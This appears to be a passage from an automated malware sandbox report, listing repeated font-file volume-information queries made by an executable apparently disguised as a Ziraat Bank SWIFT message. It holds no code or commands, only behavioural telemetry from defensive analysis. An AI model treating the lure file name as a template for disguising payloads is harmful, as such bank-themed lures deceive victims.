          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
